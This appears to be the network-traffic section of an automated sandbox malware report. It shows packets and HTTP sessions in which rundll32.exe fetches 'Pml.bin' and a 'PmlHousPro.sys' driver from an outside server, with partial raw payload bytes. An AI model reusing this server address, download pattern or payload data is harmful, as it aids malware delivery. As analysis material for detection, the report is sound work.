Mar 28, 2024 11:29:04.530957937 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:04.531001091 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:04.531002045 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:04.531042099 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:04.860274076 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:04.860320091 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:04.860342979 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:04.860374928 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:04.860399961 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:04.860410929 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:04.860424995 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:04.860441923 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:04.860441923 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:04.860467911 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:04.860488892 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:04.860502005 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:04.860512972 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:04.860533953 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:04.860547066 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:04.860575914 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:04.860606909 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:04.860606909 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:04.911020994 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.191170931 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.191236973 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.258914948 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.258935928 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.258951902 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.258971930 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.258994102 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259023905 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259023905 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259047031 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259066105 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259083033 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259088993 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259098053 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259114981 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259115934 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259129047 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259140015 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259145021 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259157896 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259186029 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259187937 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259206057 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259217978 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259217978 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259222984 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259257078 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259263039 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259354115 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259372950 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259390116 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259393930 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259407997 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259417057 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259435892 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259449959 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259531975 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259547949 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259566069 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259573936 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259582996 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259586096 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259603977 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259607077 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259624958 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259632111 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259641886 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259649992 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259668112 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259680986 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259690046 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259705067 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259721994 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259730101 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259738922 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259752989 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259758949 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.259764910 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259782076 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.259805918 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.584163904 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.584253073 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.589343071 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.589387894 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.589399099 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.589427948 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.589538097 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.589580059 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.589581966 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.589629889 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.589751005 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.589797974 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.589893103 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.589940071 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.590008974 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.590054035 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.590140104 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.590190887 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.590460062 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.590508938 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.590533972 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.590573072 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.590656996 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.590696096 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.590701103 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.590728045 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.590735912 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.590774059 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.590797901 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.590843916 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.590862036 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.590905905 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.590931892 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.590949059 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.590979099 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.590987921 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.591012955 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.591056108 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.591078043 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.591116905 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.591324091 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.591365099 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.591389894 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.591427088 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.591455936 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.591487885 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.591500044 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.591535091 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.591558933 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.591600895 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.591613054 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.591671944 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.591677904 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.591717958 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.591725111 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.591766119 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.914781094 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.914860964 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.919789076 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.919837952 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.919840097 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.919874907 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.919878960 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.919893980 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.919920921 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.919941902 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.920043945 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.920089006 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.920094967 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.920140028 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.920265913 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.920314074 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.920353889 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.920398951 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.920489073 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.920536041 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.920815945 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.920834064 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.920861006 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.920877934 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921094894 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921113968 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921132088 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921143055 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921149969 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921159983 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921169043 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921175957 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921190023 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921204090 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921228886 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921271086 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921318054 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921365023 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921371937 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921417952 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921437979 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921487093 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921649933 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921693087 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921694040 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921711922 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921741009 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921749115 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921782017 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921827078 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921895027 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921926975 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.921938896 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.921976089 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.922003031 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.922050953 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.922075987 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.922092915 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:05.922122002 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:05.922136068 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:06.250535965 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:06.250606060 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:06.255434036 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:06.255487919 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:06.255682945 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:06.255810976 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:06.255829096 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:06.255845070 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:06.255846977 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:06.255878925 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:06.255913973 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:06.255997896 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:06.256015062 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:06.256031990 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:06.256041050 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:06.256086111 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:06.256093979 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:06.581461906 CET	17598	49707	134.175.236.132	192.168.2.5
Mar 28, 2024 11:29:06.581527948 CET	49707	17598	192.168.2.5	134.175.236.132
Mar 28, 2024 11:29:08.479690075 CET	49707	17598	192.168.2.5	134.175.236.132

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 28, 2024 11:29:15.068862915 CET	1.1.1.1	192.168.2.5	0xcc6d	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 11:29:15.068862915 CET	1.1.1.1	192.168.2.5	0xcc6d	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

134.175.236.132:17598

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49705	134.175.236.132	17598	4564	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Mar 28, 2024 11:28:55.206576109 CET	85	OUT	GET /xz?mz=Pml.bin HTTP/1.1 Host: 134.175.236.132:17598 Cache-Control: no-cache
Mar 28, 2024 11:28:55.557938099 CET	1286	IN	HTTP/1.1 200 OK Accept: text/plain, text/html Content-Length: 237081 Connection: keep-alive Data Raw: cb 83 3f 4d e1 ea 88 4e 6c b2 fe 74 7b 92 e0 ad f7 c6 8b 79 95 17 45 59 a1 e0 1f 63 92 a8 e6 81 3e 93 bd c4 e1 61 a5 d9 19 86 2f 9a 65 9b 8c 85 2a 64 52 a1 36 6c fa 32 d9 d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae c1 fc a7 37 d7 b9 b2 da 73 eb ba 60 1f 36 4b 5a d4 61 fb 38 00 16 a3 8a 95 89 9b c3 34 23 64 de 62 a7 5c 0c f3 17 74 1e 5d f3 68 8d d1 f8 af 1c af ea 33 99 d0 ab 4e e0 0a 73 42 b8 a9 f9 b3 0b ff c6 b5 85 95 0d 6c 25 b9 db 56 1d d5 6e ea e1 29 89 de 17 80 14 ac df 5f 31 cd 5f 96 7a 39 e7 4f 27 f8 f1 00 12 04 c0 4f f5 ea d0 6a 5c ee e6 2c e8 90 c7 a5 25 91 7b 3e c3 99 82 a8 ec e7 77 8d ef 08 72 63 8f 1e ff 6f 80 c8 4e a9 9a 8e 00 d4 25 5e 06 2d cd 30 ae f2 18 d3 e3 f4 89 62 94 13 74 4c 9f ea b2 a6 ac 11 b2 40 0b 9a 82 2f 1c 3b c5 5c dd cf c9 37 3c e8 29 8b 4f c0 71 22 08 74 e3 1b 92 82 71 ad af 0b 09 1e 45 46 c4 9b 1c 83 f2 71 f4 26 62 c5 4b 92 cd 32 32 aa 92 06 98 0f 5c e2 18 ce fa 07 2e 9f 3a fc 57 1a b0 9b b7 fa 54 55 bf b5 f9 a8 e0 9a 8e 96 a7 67 5f 94 48 08 1d 83 98 04 92 b6 a1 9a 8e 96 a7 67 5f 94 48 08 1d 83 98 04 92 b6 a1 64 48 f8 6e 90 73 11 73 d4 25 5e 06 2d cd 30 ae 3b e2 66 0b d8 88 2e 2f d4 25 5e 06 2d cd 30 ae f6 89 c0 18 fe f9 dd c2 d4 25 5e 06 2d cd 30 ae 61 6d 8d 94 e4 9f 2c 66 27 ee 76 fb eb 2b 57 8e d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae e0 a6 77 5a 25 dd 43 14 d4 25 5e 06 2d cd 30 ae c6 e9 22 29 1e 24 f3 d6 d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae 70 20 53 80 18 99 82 92 a2 94 29 9c a4 98 75 55 11 58 c2 48 d0 a8 48 e2 d4 25 5e 06 2d cd 30 ae 39 2f 76 ae 3e c7 19 73 f6 df 5c 4d 1a 49 d4 af 62 90 de 62 a5 83 db 61 db 43 13 e7 14 07 5a 9f d4 25 5e 06 2d cd 30 ae 22 23 53 5a 54 75 a6 36 3a f3 cb cf fd 80 9f e6 e5 3d aa 2a e6 6a b2 06 7a dd 18 07 32 80 12 ab d4 25 5e 06 2d cd 30 ae 90 6c 51 e8 83 01 ea 1f a3 37 e0 01 75 b1 6c b4 ef fb 4b 28 50 b4 75 80 a9 f4 a7 9f 6e f1 57 72 d4 25 5e 06 2d cd 30 ae 22 23 53 5a 54 75 a6 36 38 f2 14 c5 af ac 59 50 c1 af f6 b9 e5 ae 61 08 04 67 1e 4e e8 ec 57 50 d4 25 5e 06 2d cd 30 ae 05 57 bf 71 70 2f 35 a2 83 0d fd c2 af 81 fc b7 d4 1c 49 51 96 fd 22 59 53 17 48 52 16 9c 97 1e d4 25 5e 06 2d cd 30 ae cd 67 76 b1 d6 16 f2 26 86 94 57 59 2a 71 2f 16 0d 81 0f f4 92 19 46 14 5f d0 df 63 39 01 00 ca d4 25 5e 06 2d cd 30 ae 38 38 70 ed 2b 54 da ee d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae d4 25 5e 06 2d cd 30 ae 40 7d 80 39 cd 40 63 26 89 62 b0 65 7b fe ea 3a 05 2b 2f dd 06 0a 2d 1d 6e 77 f6 94 cb 78 ed f6 df e7 db 82 9f 01 db f9 d3 e9 86 fa 5e d2 da 1e 38 9e 86 0c a1 78 5f b7 3a fd d8 8d 14 32 cd 7f a1 ea e5 05 f0 c2 0f 8f 59 24 58 e2 42 09 33 95 96 d2 cd 2d d7 98 6a 09 1e 3d 3e 08 c8 78 c5 85 d7 d1 79 dd bd 82 83 1e 93 62 8b f6 ab 12 79 bd 38 f4 7f 7b 17 e7 a3 8f 32 53 e1 32 67 93 17 b8 06 d3 9b 84 1f 2a 32 23 bb 3c e7 Data Ascii: ?MNlt{yEYc>a/edR6l2%^-0%^-0%^-07s`6KZa84#db\t]h3NsBl%Vn)_1_z9O'Oj\,%{>wrcoN%^-0btL@/;\7<)Oq"tqEFq&bK22\.:WTUg_Hg_HdHnss%^-0;f./%^-0%^-0am,f'v+W%^-0%^-0%^-0wZ%C%^-0")$%^-0%^-0%^-0p S)uUXHH%^-09/v>s\MIbbaCZ%^-0"#SZTu6:=jz2%^-0lQ7ulK(PunWr%^-0"#SZTu68YPagNWP%^-0Wqp/5IQ"YSHR%^-0gv&WYq/F_c9%^-088p+T%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0%^-0@}9@c&be{:+/-nwx^8x_:2Y$XB3-j=>xyby8{2S2g2#<
Mar 28, 2024 11:28:56.901871920 CET	92	OUT	GET /xz?mz=PmlHousPro.sys HTTP/1.1 Host: 134.175.236.132:17598 Cache-Control: no-cache
Mar 28, 2024 11:28:57.244673014 CET	1286	IN	HTTP/1.1 200 OK Accept: text/plain, text/html Content-Length: 125232 Connection: keep-alive Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 25 35 c6 f1 61 54 a8 a2 61 54 a8 a2 61 54 a8 a2 75 3f a9 a3 62 54 a8 a2 61 54 a9 a2 40 54 a8 a2 75 3f ab a3 63 54 a8 a2 75 3f ac a3 62 54 a8 a2 a9 21 ad a3 63 54 a8 a2 a9 21 aa a3 60 54 a8 a2 52 69 63 68 61 54 a8 a2 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 50 27 93 65 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1d 00 1e 00 00 00 0c 00 00 00 00 00 00 00 60 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 06 00 01 00 00 00 00 00 00 e0 01 00 00 04 00 00 30 41 02 00 01 00 60 41 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 60 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 20 01 00 00 00 82 01 00 30 67 00 00 00 d0 01 00 2c 00 00 00 b0 30 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 30 00 00 18 01 00 00 00 00 00 00 00 00 00 00 00 30 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2a 18 00 00 00 10 00 00 00 1a 00 00 00 04 00 00 00 00 00 00 00 